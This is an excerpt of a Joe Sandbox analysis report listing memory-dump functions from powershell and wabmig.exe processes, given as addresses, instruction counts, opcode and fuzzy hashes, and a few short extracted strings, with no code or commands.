Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e57b140c6f78323138e813845264d6046062f878fbc01bedb3d5a3f5b155c549
Instruction ID: 944f10eb53a068f212c733a3c730a49ead1739d8dcb02f57c269bd5500827901
Opcode Fuzzy Hash: e57b140c6f78323138e813845264d6046062f878fbc01bedb3d5a3f5b155c549
Instruction Fuzzy Hash: 93312C31B103158BDB589B798C107AEF795EFC4219F10883ACA09DB645EF31D945C7E1

Function 04242BB0 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 360e894afdfe618781250ae91ec66c57f7517115e1c8cb35aa2f9efdee8af3a0
Instruction ID: 455737ca9430c5008cd16aecf4b32083974bbede1d83d2600ce04745fba48a68
Opcode Fuzzy Hash: 360e894afdfe618781250ae91ec66c57f7517115e1c8cb35aa2f9efdee8af3a0
Instruction Fuzzy Hash: 64412574A10109DFCB09CF59C594AAAFBB1FF88314B118699E905AB364C732FC51CFA0

Function 06EF7F18 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 729a71f7480f1c33057f342fe322e3833ecf48e57b2caa6040f026a572fae7d9
Instruction ID: 2c417eb2b7816067af511f43abf9f612526547015a62338de6e153615d78f4c1
Opcode Fuzzy Hash: 729a71f7480f1c33057f342fe322e3833ecf48e57b2caa6040f026a572fae7d9
Instruction Fuzzy Hash: EF313732B24304CFFBA45B68E4006B6B7B2AFC1658B24507AD3028B691EE72C951C791

Function 06EF47E8 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02a31e2a171fda5b67d1d61fb2d89c4f803926c63d3b1f9cc83f7c8591ebafc6
Instruction ID: 8fbb096b0db622995e8a7f94ff715c8dfb0130055809affaa69776e3877736e1
Opcode Fuzzy Hash: 02a31e2a171fda5b67d1d61fb2d89c4f803926c63d3b1f9cc83f7c8591ebafc6
Instruction Fuzzy Hash: A6318F30B50214DFE7049BA8C855BAF7AA3AFC5754F108024EA01AF792CFB5DD428BA1

Function 06EF1020 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b74ef32301ed11c502c6116aa57295d0dc332b06e86ac0d6d3a3d9f8e556410
Instruction ID: cfb1eab3f7d0cfbf3ff262f79a7c42c0506b33d775af803ab43a6cccc62cd796
Opcode Fuzzy Hash: 0b74ef32301ed11c502c6116aa57295d0dc332b06e86ac0d6d3a3d9f8e556410
Instruction Fuzzy Hash: C521993172035EDBEB64477A4810BB7B686DBC4709F64802AE705CB280EDB6CC50C3A1

Function 06EF101F Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c2f7af19a74d601d9f88acfe0b33590d3ccbb7340b28be385c8aa4b63b46273
Instruction ID: 58b6d445eb172752dded0ac08a5c2f5657513d4b1c057de57f37fc77e471457e
Opcode Fuzzy Hash: 5c2f7af19a74d601d9f88acfe0b33590d3ccbb7340b28be385c8aa4b63b46273
Instruction Fuzzy Hash: D0119B3571035EE7EB6407664901BB77A86DFC5744FA48029BB059B2C0EDBADD90C3B1

Function 06EF5E61 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3e99bbde36ea7dc2021f776f714452dfc2e6deeaa1ba2235aec1ce5e25e7ba2
Instruction ID: b27b01265abca62ec1ce17defaf74016be87b1e0e0b3ae7d066dcf19d2458db8
Opcode Fuzzy Hash: e3e99bbde36ea7dc2021f776f714452dfc2e6deeaa1ba2235aec1ce5e25e7ba2
Instruction Fuzzy Hash: 0F110672B102528BEB50D768A8016AAF752DBE5318F20C47AEB57CB691DF329911C3A1

Function 042495A8 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce847753e23eb6ea0c1b5be6a2bc7d3e7bbff8346cc3c0acf5b07740af4f7f69
Instruction ID: 8b1bbee92c14b79e13e48431869be19d4a9883db844d6532633b666fe5feabe9
Opcode Fuzzy Hash: ce847753e23eb6ea0c1b5be6a2bc7d3e7bbff8346cc3c0acf5b07740af4f7f69
Instruction Fuzzy Hash: 49211A74A05219CFCB04DFA8D5909AEBBB5FF89310B148595D909EB352C731FC41CBA1

Function 04249597 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d208a5196e329aa6661cf8e9911d1dcb0fb25b7bd6de741b41fcff5425527be7
Instruction ID: 5818f002d9179428405b4659d891db303b2e146afcb55aa249f48a68c82293aa
Opcode Fuzzy Hash: d208a5196e329aa6661cf8e9911d1dcb0fb25b7bd6de741b41fcff5425527be7
Instruction Fuzzy Hash: 5F2117B4A00209DFCB04CF98D9809AEBBF5FF89310B158199E909AB352C731FD41CBA1

Function 06EF0DD0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a87542cfcf29b1d3d6fe2878872e80f0e5c60c37a78c95a82bb7cc5dc10b99e
Instruction ID: 33d3867c462eac62814fc2d66b8760df59198fb25206e63be05a24b1b279471a
Opcode Fuzzy Hash: 5a87542cfcf29b1d3d6fe2878872e80f0e5c60c37a78c95a82bb7cc5dc10b99e
Instruction Fuzzy Hash: CB017B367203148BDB5047AAD810176FB96DFC5226F14C03FD744C7642DA32D845C7A0

Function 06EF7F7C Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4caf71b51d55808fe346d47ddc09d8cb3304185b6e5de098421ce52bcc2adcb4
Instruction ID: 0bf7a287822e7d8bcfad1d1b4fcff53b4213d697c8d3f84b196180bf1a0326ca
Opcode Fuzzy Hash: 4caf71b51d55808fe346d47ddc09d8cb3304185b6e5de098421ce52bcc2adcb4
Instruction Fuzzy Hash: 4B01D633A39341DFFFF50B60A4007F277719F82659FA920A6D7014B191E7758591C3A2

Function 0424EDCB Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a8db59f2859ad3ae537842ed8e237c51006d019860bad2680974f7a3f868c3f
Instruction ID: 4ccfc5cd3294baa1d6c22ac2a5efca8b4c854b960203aefdc447724486287ca4
Opcode Fuzzy Hash: 8a8db59f2859ad3ae537842ed8e237c51006d019860bad2680974f7a3f868c3f
Instruction Fuzzy Hash: DF11C330F2015ADBEF38DE94D9887ACB772FF85229F161429C401B6190AB747989CB12

Function 06EF8309 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1586c24440fcc65b2a0d420962a8dbf6fcecda9263df8488bd3131547fdce516
Instruction ID: bd75aff96e9f0029cca54900fc8301c71a37a31fe552e7710f36bb485ed96108
Opcode Fuzzy Hash: 1586c24440fcc65b2a0d420962a8dbf6fcecda9263df8488bd3131547fdce516
Instruction Fuzzy Hash: DF012B31F15360CBE35113E81815B9F27228BC1A55B050066CA019F765DF718D02C3E7

Function 06EFD54C Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b184c16bae20d519675da10b2e3562fe947fa2d25371ed1c3e41f74d00d2596a
Instruction ID: f8c14524ab8881567005fb791acd98de8b5b8770eec4cb97cdf85ede35b67173
Opcode Fuzzy Hash: b184c16bae20d519675da10b2e3562fe947fa2d25371ed1c3e41f74d00d2596a
Instruction Fuzzy Hash: 18015734640315CFE7908B54CC44BDAB7A2AF85704F108498EA05AF791CBB69E81CF91

Function 06EF1BAF Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4f8b117da2eaa4d113379dbfd14043c6473abc631fe02973e75859f86695ace
Instruction ID: dbe5be5e79ddb920e4b66c51840354be82780229dcf34768efb75e631726a0cc
Opcode Fuzzy Hash: d4f8b117da2eaa4d113379dbfd14043c6473abc631fe02973e75859f86695ace
Instruction Fuzzy Hash: 74B012311451404FC201CB50C860440FB609F82124328C4CBD804CB253CB27DD03C700

Analysis Process: wabmig.exePID: 4232, Parent PID: 5008COMMON

Executed Functions

Function 00833E40 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

W6A, xrefs: 00833E7F
\Vhk, xrefs: 0083408B
W6A, xrefs: 00833E5F

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID: W6A$W6A$\Vhk
API String ID: 0-2889131009
Opcode ID: a57e09eea145165f778779c19d07c9b678edf4143dd05a519875769b80b89820
Instruction ID: cff1046089529e60ef76d6a486dca643ce333618727520a3b0ef1e256aeec51f
Opcode Fuzzy Hash: a57e09eea145165f778779c19d07c9b678edf4143dd05a519875769b80b89820
Instruction Fuzzy Hash: DE916A70E006498FDF14CFA9C9957AEBBF2FF88314F148129E815E7294EB749985CB81

Function 0083AAB0 Relevance: 3.0, Instructions: 3036COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58142da85788dbba04516b347b03a7dcf71045f2a703789b2c2d396a9a5a58e3
Instruction ID: 1b32f23b8144c088990609a2c6bfdb5ff36e0d9172f186882ed89ce05638a8de
Opcode Fuzzy Hash: 58142da85788dbba04516b347b03a7dcf71045f2a703789b2c2d396a9a5a58e3
Instruction Fuzzy Hash: 5C630B31D10B1A8ADB11EF68C884699F7B1FF99300F11D79AE458B7121EB70AAD4CF81

Function 00834A58 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

W6A, xrefs: 00834A77
W6A, xrefs: 00834A97

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID: W6A$W6A
API String ID: 0-3625649603
Opcode ID: b7be0dbaad608e52d9b1772fcdee7f836ea1bbe286e0600c4d377a687bb17081
Instruction ID: 114d003e73e58ab20f6b9e7604951692341b9f6b8807863de833c9f2675c9739
Opcode Fuzzy Hash: b7be0dbaad608e52d9b1772fcdee7f836ea1bbe286e0600c4d377a687bb17081
Instruction Fuzzy Hash: 33B13C70E002198FDF54CFA9C88579DBBF2FF88714F249129D815E7294EB78A845CB81

Function 0083E370 Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

W6A, xrefs: 0083E8FF

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID: W6A
API String ID: 0-3652387145
Opcode ID: 172cdaabf0398ae43031cc48c71906f8f8b387bd0eb0ba9dfd4ed53fa68ccb47
Instruction ID: bcca1bad5fd4a20a6ad31421623d39b43dbcaa60177dbb956a658ddcfa39db92
Opcode Fuzzy Hash: 172cdaabf0398ae43031cc48c71906f8f8b387bd0eb0ba9dfd4ed53fa68ccb47
Instruction Fuzzy Hash: 60B1C170B00258DBDB1CAB79985967E7BA7BFC8700F15846EE406E7385DE38DC029B91

Function 0083AAAA Relevance: 1.4, Instructions: 1417COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f836967f88c65768c2d88471b359926b3a7ccb8352b78e4c3afc177c566490e
Instruction ID: d0e54d92e02cad60e9b8b2ee1000c83cfdd29229fc0f867a3f20020987e4d445
Opcode Fuzzy Hash: 7f836967f88c65768c2d88471b359926b3a7ccb8352b78e4c3afc177c566490e
Instruction Fuzzy Hash: F8E2E831D10B1A8ADB50EF68C884699F7B1FF99300F11D79AE458B7121EB70AAD4CF81

Function 008347D0 Relevance: 5.2, Strings: 4, Instructions: 180COMMON

Download Yara Rule

Strings

W6A, xrefs: 0083480F
\Vhk, xrefs: 0083483F
\Vhk, xrefs: 00834992
W6A, xrefs: 008347EF

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID: W6A$W6A$\Vhk$\Vhk
API String ID: 0-2994003189
Opcode ID: b6e113b1fcab8a24dab5663371d696e1e191aa72f0fb472af2933b90f2f129c2
Instruction ID: 2b88df7b9704256b9a8d0551400a0042e5a316360c567abebf91e0e1cb0cf23c
Opcode Fuzzy Hash: b6e113b1fcab8a24dab5663371d696e1e191aa72f0fb472af2933b90f2f129c2
Instruction Fuzzy Hash: EA715B70E00259CFDB14CFA9C885B9EBBF2FF88714F149129E815E7254EB74A845CB91

Function 008347C4 Relevance: 5.2, Strings: 4, Instructions: 178COMMON

Download Yara Rule

Strings

W6A, xrefs: 0083480F
\Vhk, xrefs: 0083483F
\Vhk, xrefs: 00834992
W6A, xrefs: 008347EF

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID: W6A$W6A$\Vhk$\Vhk
API String ID: 0-2994003189
Opcode ID: f9f88f8c504634ed78393ba68dd8890cd93dffc7a7b1ee0a87df04e6607d54cf
Instruction ID: 2579d7e5a4fd55bf44d02ca030189f9a5f10ea4e5735d7720a8bb6e231e4f633
Opcode Fuzzy Hash: f9f88f8c504634ed78393ba68dd8890cd93dffc7a7b1ee0a87df04e6607d54cf
Instruction Fuzzy Hash: FE7159B0E00259CFDB14CFA9C885B9EBBF1FF88714F149129E815E72A4DB74A845CB91

Function 00833E34 Relevance: 4.0, Strings: 3, Instructions: 235COMMON

Download Yara Rule

Strings

W6A, xrefs: 00833E7F
\Vhk, xrefs: 0083408B
W6A, xrefs: 00833E5F

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID: W6A$W6A$\Vhk
API String ID: 0-2889131009
Opcode ID: 31dc23d51f805be474a28f903bb4d0cb234dfbd0831219f98b4f94f34dff1b18
Instruction ID: 6667b044da0aed2bf0f648690c75dfc04df27216bb2ff68be4cbe6f858ba7ca5
Opcode Fuzzy Hash: 31dc23d51f805be474a28f903bb4d0cb234dfbd0831219f98b4f94f34dff1b18
Instruction Fuzzy Hash: 80915870E006498FDF54CFA8C98579EBBF2FF88304F248129E815E7294EB749985CB91

Function 008387B9 Relevance: 3.1, Strings: 2, Instructions: 556COMMON

Download Yara Rule

Strings

Hz&, xrefs: 00838B54
z&, xrefs: 00838B24

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID: Hz&$z&
API String ID: 0-3785348888
Opcode ID: 52fc626b03e3b173c5df07fc4ccce8f90018a02580ab7056fb342fcf818b461a
Instruction ID: d0ee8430d9f0474186ee24c94b69c5f902ca3b8c946ac0293c678452ed2d5de6
Opcode Fuzzy Hash: 52fc626b03e3b173c5df07fc4ccce8f90018a02580ab7056fb342fcf818b461a
Instruction Fuzzy Hash: 78123D31701306DFDB1DAB28E8986297BA2FBD9344F61492DE405CB391CFB9DC468B81

Function 00834A4D Relevance: 2.8, Strings: 2, Instructions: 260COMMON

Download Yara Rule

Strings

W6A, xrefs: 00834A77
W6A, xrefs: 00834A97

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID: W6A$W6A
API String ID: 0-3625649603
Opcode ID: 08eaab35b28e8e242fd8e9c64a66671298c96418e97e7e7cde86df4c0a4bbe80
Instruction ID: 668962d538ed083e44b521c435625d2a3a96d27f3a80bc9470532508db8ebe08
Opcode Fuzzy Hash: 08eaab35b28e8e242fd8e9c64a66671298c96418e97e7e7cde86df4c0a4bbe80
Instruction Fuzzy Hash: 8CB13A70E002598FDB50CFA9C88579DBBF1FF88714F249129D815E7294EB74A845CB81

Function 00836C9C Relevance: 2.6, Strings: 2, Instructions: 135COMMON

Download Yara Rule

Strings

W6A, xrefs: 00836CED
W6A, xrefs: 00836CCD

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID: W6A$W6A
API String ID: 0-3625649603
Opcode ID: 1cb7ebc43b574e1c6b868e6f63dd6ecf9050e87545f2216f7435cdf4cfd3ef0c
Instruction ID: fe02080c4e0d1c152f39afa444da0a1e895340c8582e6341b71a7b1b8b3ae777
Opcode Fuzzy Hash: 1cb7ebc43b574e1c6b868e6f63dd6ecf9050e87545f2216f7435cdf4cfd3ef0c
Instruction Fuzzy Hash: 57512474E002199FDB18CFA9C884B9DBBB1FF88310F148129E819BB351E7759844CF95

Function 00836CA8 Relevance: 2.6, Strings: 2, Instructions: 132COMMON

Download Yara Rule

Strings

W6A, xrefs: 00836CED
W6A, xrefs: 00836CCD

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID: W6A$W6A
API String ID: 0-3625649603
Opcode ID: 3b7031d8ef800bb6600172512460213f7fdcf4cc13b2dfa1c30b705822aa49d7
Instruction ID: 00a360d2a430538cd653a3cd8bc29e2057c6372c2014ed08dc6f9736240d8a01
Opcode Fuzzy Hash: 3b7031d8ef800bb6600172512460213f7fdcf4cc13b2dfa1c30b705822aa49d7
Instruction Fuzzy Hash: 19511374E002199FDB18CFA9C884B9DBBB1FF88314F148129E819BB351EB75A844CF95

Function 0083269C Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

W6A, xrefs: 008326D0

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID: W6A
API String ID: 0-3652387145
Opcode ID: bc05d8599f115d0343aceb4b5bd326c06ad9515257b9de6efa475acf83c71393
Instruction ID: fb756c223cd677c72df8ace03ea7a5ebca12d944c2f9bbfa994da3446a1af6ac
Opcode Fuzzy Hash: bc05d8599f115d0343aceb4b5bd326c06ad9515257b9de6efa475acf83c71393
Instruction Fuzzy Hash: A041D1B0900349DFDB10DFA9C984ADEBFB1FF88314F248129E419AB254DB799945CB91

Function 008326A8 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

W6A, xrefs: 008326D0

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID: W6A
API String ID: 0-3652387145
Opcode ID: 0c97de7f627631a57e654268dab3dd7ecc995fad0b1111141df7834eabbd116f
Instruction ID: 8019a7823d91056e25a20915a772794207a5305b73b4e55f07a64b2229d7f9aa
Opcode Fuzzy Hash: 0c97de7f627631a57e654268dab3dd7ecc995fad0b1111141df7834eabbd116f
Instruction Fuzzy Hash: D141F0B0D00349DFDB10CFA9C984ADEBBB5FF88314F208029E819AB254DB75A945CB90

Function 0083E298 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

|, xrefs: 0083E2F8

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: 30771c496fd73217cdb2b9975373cab920dfae4ec8a3cc7a1af649c2ea6e37a4
Instruction ID: 8da4077bf6e37c24a794a600f996a57f31adf9fdcffed0c241c668d8c46de65e
Opcode Fuzzy Hash: 30771c496fd73217cdb2b9975373cab920dfae4ec8a3cc7a1af649c2ea6e37a4
Instruction Fuzzy Hash: 25114F70B012159FDB54DB78C819B6EB7F6AF8C710F108469E94AE73A0EA399D00DB91

Function 0083E2A8 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

|, xrefs: 0083E2F8

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: e299b0feef78098fec89806c86305cfa977c2c888b8ed009236f2dd91d73b896
Instruction ID: 46ae5446ea22b7b8872784e7b09b53c5bd6c4f87bf14ce057d6b2f267835372c
Opcode Fuzzy Hash: e299b0feef78098fec89806c86305cfa977c2c888b8ed009236f2dd91d73b896
Instruction Fuzzy Hash: A1112B75B00215DFDB44EB78C804B6EB7F6AF88710F14846AE94AE7394DA39AD009B91

Function 0083A228 Relevance: .4, Instructions: 412COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67230d254b0d41080d42c666386138712a61d305b88808a3404fb9a1b7a9f7c1
Instruction ID: 13c11621785d742b7494cdea238cff7178fe11efcff0f853b98a8be52aeb4f53
Opcode Fuzzy Hash: 67230d254b0d41080d42c666386138712a61d305b88808a3404fb9a1b7a9f7c1
Instruction Fuzzy Hash: 64E19E34B00205CFDB19DBA8D484AADBBB2FBD9310F248469E946D73A1DB35DD42CB81

Function 0083DD90 Relevance: .3, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13f1f5af4aca9b77c2997fc89607bba1dd8d87f6d83c311c9e5545204e2f3214
Instruction ID: e0af6f949a0e2aedd87e97f17e886782ecc46185c801bd3ab87c202f8dba817c
Opcode Fuzzy Hash: 13f1f5af4aca9b77c2997fc89607bba1dd8d87f6d83c311c9e5545204e2f3214
Instruction Fuzzy Hash: 9DB1C131B002169FEB19DB28D880B6EBBA6FFC5310F258569D405CB296DB31EC46C7D1

Function 0083F2D0 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52eda95ea4e7415505afe991a4aa00a6547c6cf5ef699d91223014d784026ba1
Instruction ID: 87c4978278080cbc936dacb93fa56bdf3c376f758bb7d123ac69789301ccad59
Opcode Fuzzy Hash: 52eda95ea4e7415505afe991a4aa00a6547c6cf5ef699d91223014d784026ba1
Instruction Fuzzy Hash: 6C91D031B001058BDF159B68D8946AEBBA2FBC8310F244479DA06DB392DF35DD46CBD5

Function 0083A214 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48c0a4ab1dfee5cfdd9157f348e5edb8fe2588e501a5bb0f63f4e0c8237bebd0
Instruction ID: 42243d1aeb267c955b73e00a288283f4728b07fa583a6d80e5868522b2eb7b96
Opcode Fuzzy Hash: 48c0a4ab1dfee5cfdd9157f348e5edb8fe2588e501a5bb0f63f4e0c8237bebd0
Instruction Fuzzy Hash: 62916F34A00204DFDB19DBA5D484AADBBF2FF88310F248465E946E7361DB75DD42CB91

Function 00837CA0 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46e566c285fcf0eaddd108f75d1b02db809fb1c2f9b0e8a043f2c375420cfa59
